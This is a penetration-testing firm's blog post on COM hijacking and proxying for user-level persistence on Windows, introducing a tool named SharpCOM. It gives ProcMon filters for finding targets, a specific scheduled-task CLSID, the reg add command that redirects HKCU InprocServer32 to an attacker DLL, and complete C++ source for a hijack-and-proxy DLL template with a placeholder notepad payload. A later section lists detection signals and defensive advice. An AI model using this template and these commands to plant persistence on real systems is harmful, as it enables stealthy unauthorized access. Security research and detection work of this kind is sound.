Skip to main content
Technical

COM Hijacking and Proxying

Would you like to learn more?

Download our Pentest Sourcing Guide to learn everything you need to know to successfully plan, scope, and execute your penetration testing projects.

By Joseph Yim, Offensive Security R&D Lead

While there seems to be many tools available for identifying COM hijacks, I did not see many public tools to quickly configure and deploy COM hijacking from a C2, which could be useful during engagements. SharpCOM was created to be able to quickly deploy COM hijacking on Windows targets during post-compromise for low- privileged user persistence.

This blog aims to outline how COM hijacking works, the discovery process, and PoC for SharpCOM.

COM Hijacking Overview

COM Hijacking is the process of modifying registry queries for COM object loading by native applications in Windows. COM (Component Object Model), which is implemented by OLE32.DLL in Windows, is used to provide a language-agnostic interface for handling method invocation for libraries written in different languages.

For example, a DLL written in C would be able to invoke a C# .NET method through loading a COM object. COM hijacking is not new and was first discovered in 2011 by Jon Larimer.

The local or in-process COM object loading process is illustrated as:

  • An application using COM initializes the COM library by calling CoInitialize(), which is implemented in OLE32.dll

  • When the application needs to invoke a method through COM, it calls CoCreateInstance() to create an instance of a COM object by first locating a COM server with a given CLSID. 

  • The Service Control Manager (SCM) handles searching through the Windows OS to locate the proper COM server. SCM calls the COM_OpenKeyForCLSID() function with a CLSID string, which queries the Windows registry.

  • The Windows registry hive is referenced through the virtual registry HKCR, which defaults to searching the HKCU registry in the HKCU\SOFTWARE\Classes\CLSID\ path for the correct COM server DLL. By default, COM servers are defined in HKLM to avoid modification by unprivileged users for a UAC bypass, so no COM servers will be found in HKCU. The exact SubKey will vary depending on type of COM object being invoked.

  • The HKCR reference by COM_OpenKeyForCLSID() will then search in HKLM with the HKLM\SOFTWARE\Classes\CLSID\ path for the correct COM server DLL, where it’s path is returned

  • OLE32.dll then calls LoadLibraryEx() to load the COM server DLL, then DllGetClassObject() retrieve a pointer to the class object for the COM handler. Eventually the proper COM object is instantiated and access to the COM interface is granted to the COM client for method invocation.

COM hijacking works by modifying the HKCU registry to point to an attacker-controlled COM server DLL, which gets loaded instead of the correct COM server DLL defined in HKLM. What makes this useful for persistence, is, that by default, no administrative privileges are required on Windows to modify the HKCU registry, as the HKCU registry is meant to reflect user settings. Once the attacker-controlled DLL is loaded through LoadLibraryEx(), then DllGetClassObject() is called first. If we export the DllGetClassObject() in our COM server DLL, then it is possible to execute arbitrary code for user-level persistence once the event-based COM object is successfully loaded. 

COM hijacking works through 2 main steps:

  • Find a suitable COM object to target to hijack

  • Modify the HKCU registry to point to an attacker-controlled COM server DLL

  • Create a COM server DLL which will execute under event-based COM object loading

  • Place COM server DLL on target host

Finding COM Objects to Hijack

Locating COM objects to hijack can be done through many publicly available tools published by other researchers. For a more manual method, I chose to use ProcMon. From ProcMon, apply the following filters on a target Windows system:

  • Path contains “HKLM”

  • Path contains “InProcServer32”

  • Result contains “NAME NOT FOUND”

Persistence with COM comes with the basis that COM is event-driven. This means it is ideal to target certain applications or Windows services which will execute upon an action performed by a user, to regain some form of code execution. One event-based trigger I found which was useful was COM objects tied to scheduled tasks through a COM Handler. The target COM object trigger was tied to the “Work Folders Logon Synchronization” task.

Looking into the CLSID of the COM object, it appears to only be  implemented in HKLM within the Windows registry and not in HKCU, resulting in the NAME NOT FOUND error during the COM object loading process for the InprocServer32 SubKey:

C:\Users\>reg query "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32"

ERROR: The system was unable to find the specified registry key or value.

C:\Users\>reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32"

HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32

    (Default)    REG_SZ    C:\Windows\System32\WorkFoldersShell.dll

Modify the HKCU Registry for a Target COM Object

To modify the HKCU registry, reg can be used to make the HKCU registry point to an arbitrary COM server DLL, which we will later create and drop on the system.

reg add "HKEY_CURRENT_USER\SOFTWARE\Classes\CLSID\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\InprocServer32" /v "" /t REG_SZ /d "C:\Users\lowpriv2\Desktop\serv\WorkFolderShell.dll" /f

As a low-privileged user, no admin permissions are required to make modifications to the HKCU registry.

Creating a COM Server DLL

The InprocServer32 SubKey implies that the underlying COM CLSID for the Work Folders Logon Synchronization task is an in-process COM server and should be implemented as a DLL. The COM object load process also states that DllGetClassObject() must be implemented, and is called first upon COM object load.

Since DllGetClassObject() is exported in the DLL and is executed upon COM object load, this would be an ideal location to execute arbitrary code, which can be re-execution of a C2 beacon, shellcode, or any other form of host-based persistence. For PoC purposes, I will implement a call to OpenProcess() for notepad.exe:

#include "pch.h"

#include "combaseapi.h"

#include "windows.h"

/*

COM Hijacking DLL template

*/

// Export functions

#pragma comment(linker, "/export:DllGetClassObject" )

typedef HRESULT(WINAPI* type_DllGetClassObj)(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv);

type_DllGetClassObj ptr_DllGetClassObj;

HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {

    

    STARTUPINFO info = { sizeof(info) };

    PROCESS_INFORMATION processInfo;

    CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL,   &info, &processInfo);

    return S_OK;

}

BOOL APIENTRY DllMain( HMODULE hModule,

                       DWORD  ul_reason_for_call,

                       LPVOID lpReserved

                     )

{

    switch (ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:

        break;

    case DLL_THREAD_ATTACH:

        break;

    case DLL_THREAD_DETACH:

        break;

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}

Another useful export function to add for COM object hijacking is the DllCanUnloadNow() function. While the COM object loading process does not “require” this function, an empty implementation of it can prevent error messages from showing up once the scheduled task completes and unloads the COM server DLL.

#include "pch.h"

#include "combaseapi.h"

#include "windows.h"

/*

COM Hijacking DLL template

*/

// Export functions

#pragma comment(linker, "/export:DllGetClassObject" )

#pragma comment(linker, "/export:DllCanUnloadNow" )

// -- trim –

HRESULT DllCanUnloadNow(void) {

   return S_OK;

}

// -- trim --

COM proxying can be added by loading the original COM server DLL, and passing any calls made to the implant COM server DLL towards the original COM server DLL. This can be implemented with GetProcAddress() and specifying a path towards the original COM server DLL.

#include "pch.h"

#include "combaseapi.h"

#include "windows.h"

/*

COM Hijacking DLL template

*/

// -- trim –

HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {

    STARTUPINFO info = { sizeof(info) };

    PROCESS_INFORMATION processInfo;

    CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL,   &info, &processInfo);

        // Proxy path definition

    char * proxyPath = "C:\\Windows\\System32\\WorkFoldersShell.dll";

    char* comFunction = "DllGetClassObject";

    // Proxy export functions to original WorkFoldersShell.dll

    HMODULE proxyDLL;

    proxyDLL = LoadLibrary((LPCWSTR)proxyPath);

    ptr_DllGetClassObj = (type_DllGetClassObj)GetProcAddress(proxyDLL, comFunction);

    if (!ptr_DllGetClassObj) {

        return FALSE;

    };

    HRESULT hResult = ptr_DllGetClassObj(rclsid, riid, ppv);

    return hResult;

}

// -- trim –

The final template will be:

#include "pch.h"

#include "combaseapi.h"

#include "windows.h"

/*

COM Hijacking DLL template

*/

// Export functions

#pragma comment(linker, "/export:DllGetClassObject" )

#pragma comment(linker, "/export:DllCanUnloadNow" )

typedef HRESULT(WINAPI* type_DllGetClassObj)(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv);

type_DllGetClassObj ptr_DllGetClassObj;

HRESULT DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID FAR* ppv) {

    STARTUPINFO info = { sizeof(info) };

    PROCESS_INFORMATION processInfo;

    CreateProcess(L"C:\\Windows\\System32 \\notepad.exe", NULL, NULL, NULL, TRUE, 0, NULL, NULL,   &info, &processInfo);

    // Proxy path definition

    char * proxyPath = "C:\\Windows\\System32\\WorkFoldersShell.dll";

    char* comFunction = "DllGetClassObject";

    // Proxy export functions to original WorkFoldersShell.dll

    HMODULE proxyDLL;

    proxyDLL = LoadLibrary((LPCWSTR)proxyPath);

    ptr_DllGetClassObj = (type_DllGetClassObj)GetProcAddress(proxyDLL, comFunction);

    if (!ptr_DllGetClassObj) {

        return FALSE;

    };

    HRESULT hResult = ptr_DllGetClassObj(rclsid, riid, ppv);

    return hResult;

}

HRESULT DllCanUnloadNow(void) {

   return S_OK;

}

BOOL APIENTRY DllMain( HMODULE hModule,

                       DWORD  ul_reason_for_call,

                       LPVOID lpReserved

                     )

{

    switch (ul_reason_for_call)

    {

    case DLL_PROCESS_ATTACH:

        break;

    case DLL_THREAD_ATTACH:

        break;

    case DLL_THREAD_DETACH:

        break;

    case DLL_PROCESS_DETACH:

        break;

    }

    return TRUE;

}

Place COM Server DLL on Target Host

Compile the DLL and place it in the target system. Given the previous registry change, I opted to place it in C:\Users\lowpriv2\Desktop\serv\WorkFolderShell.dll. This sample COM hijacking will be shown from the standpoint of a compromised low-privilege, lowpriv2, logging into a workstation

Additionally, I modified the Work Folders Logon Synchronization scheduled task to execute within 30 seconds instead of 5 minutes to make the video demo shorter. Once the lowpriv2 user logs in, notepad.exe is successfully executed.

2026 Update: COM Hijacking in a Modern Windows and EDR Landscape

Since this article was originally written, the Windows platform and endpoint detection landscape have evolved significantly.

While COM hijacking remains a valid conceptual persistence technique, its practical reliability, stealth, and longevity have changed in modern enterprise environments.

Changes in Windows (2023–2026)

Recent Windows 11 builds and Windows Server releases have not removed COM hijacking outright, but several platform trends affect its usability:

  • Expanded Attack Surface Reduction (ASR) rules now provide stronger telemetry around:

    • Unusual COM object loading paths

    • DLL loads from user-writable locations

    • COM servers loaded outside expected trust boundaries

  • Protected Process Light (PPL) adoption has increased for system services and scheduled tasks, reducing the number of COM-based triggers accessible to low-privilege users.

  • Scheduled task hardening has improved, and many legacy COM handler-based tasks (including Work Folders-related components) are:

    • Disabled by default

    • Absent on cloud-joined or Intune-managed systems

    • Rarely triggered in real-world enterprise workflows

As a result, threat actors can no longer assume that historically reliable COM CLSIDs will exist or execute consistently across Windows versions.

Detection and Telemetry Improvements

From a defensive standpoint, COM hijacking has transitioned from a “quiet” persistence method to a well-understood behavioral pattern:

Common detection signals now include:

  • Registry writes under:

    • HKCU\Software\Classes\CLSID\*\InprocServer32

  • DLL load events where:

    • The COM server path resolves to a user directory

    • The DLL is unsigned or mismatched with the expected publisher

  • COM activation chains where:

    • A user-level COM override precedes a system-context process load

Modern EDR platforms increasingly correlate registry modification, COM activation, and DLL execution into a single alert, significantly reducing dwell time for this technique.

Operational Reality in 2026

In contemporary engagements, COM hijacking is best understood as:

  • Situational: dependent on specific host configurations.

  • Short-lived: often detected within minutes to hours

  • Low-value for long-term persistence compared to:

    • Token-based abuse

    • Cloud identity persistence

    • Living-off-the-land scheduled execution paths

For Red Teams, COM hijacking is now more appropriate as:

  • A learning exercise for understanding Windows object resolution

  • A controlled lab demonstration of user-level persistence concepts

  • And a supplementary technique, not a primary foothold mechanism

Defensive Takeaways for SharpCOM

Tools like SharpCOM remain useful from an educational and research perspective, particularly for demonstrating:

  • How COM resolution prioritizes HKCU over HKLM

  • Why legacy Windows design decisions still matter

  • How small registry changes can alter execution flow

However, operators should assume:

  • Predefined CLSID lists will age quickly

  • Static COM targets are brittle across Windows builds

  • Detection is likely in any monitored enterprise environment

Future research in this area benefits more from defensive mapping and detection validation than from expanding offensive automation.

For defenders, this technique reinforces several best practices:

  • Monitor user-writable COM registrations

  • Alert on InprocServer32 paths outside system directories

  • Baseline expected COM usage for scheduled tasks and shell extensions

  • Treat COM hijacking as an early-stage signal, often preceding additional actions

Final Thoughts

COM hijacking remains an important part of Windows internals history and an instructive example of how flexibility can introduce risk. In 2026, its primary value lies less in stealthy persistence and more in:

  • Training

  • Detection engineering

  • Understanding legacy attack surface inheritance

As Windows continues to evolve toward identity- and cloud-centric security models, techniques like COM hijacking increasingly serve as case studies rather than go-to persistence mechanisms.

Conclusion

SharpCOM automates the entire COM hijacking process above, but only targets pre-defined COM objects. Currently I have defined 1 CLSID to work with SharpCOM with plans to add more:

  • Work Folders Logon Synchronization: {97D47D56-3777-49FB-8E8F-90D7E30E1A1E}

SharpCOM is compiled in .NET 4.0 and is compatible with .NET reflection and sharp-inline assembly execution methods. SharpCOM has been tested with the Bruteratel C2 v2.1.2 framework. At the time of writing, this tool has been successfully tested against:

  • Windows 10.0.22621 Build 22621

  • Microsoft Windows Server 2025 Datacenter

Across different Windows versions, sometimes COM object CLSIDS persist, meaning the same type of hijack can be performed on different Windows hosts provided the same CLSID exists.

Learn more about this technique on our GitHub repository.

Contact Us

Speak with an Account Executive

Interested in Pentesting?

Penetration Testing Methodology Cover
Penetration Testing Methodology

Our Penetration Security Testing methodology is derived from the SANS Pentest Methodology, the MITRE ATT&CK framework, and the NIST SP800-115 to uncover security gaps.

Download Methodology
Pentest Sourcing Guide thumbnail
Pentest Sourcing Guide

Download our Pentest Sourcing Guide to learn everything you need to know to successfully plan, scope, and execute your penetration testing projects.

Download Guide
Packetlabs Company Logo
    • Toronto | HQ
    • 401 Bay Street, Suite 1600
    • Toronto, Ontario, Canada
    • M5H 2Y4
    • San Francisco | Outpost
    • 580 California Street, 12th floor
    • San Francisco, CA, USA
    • 94104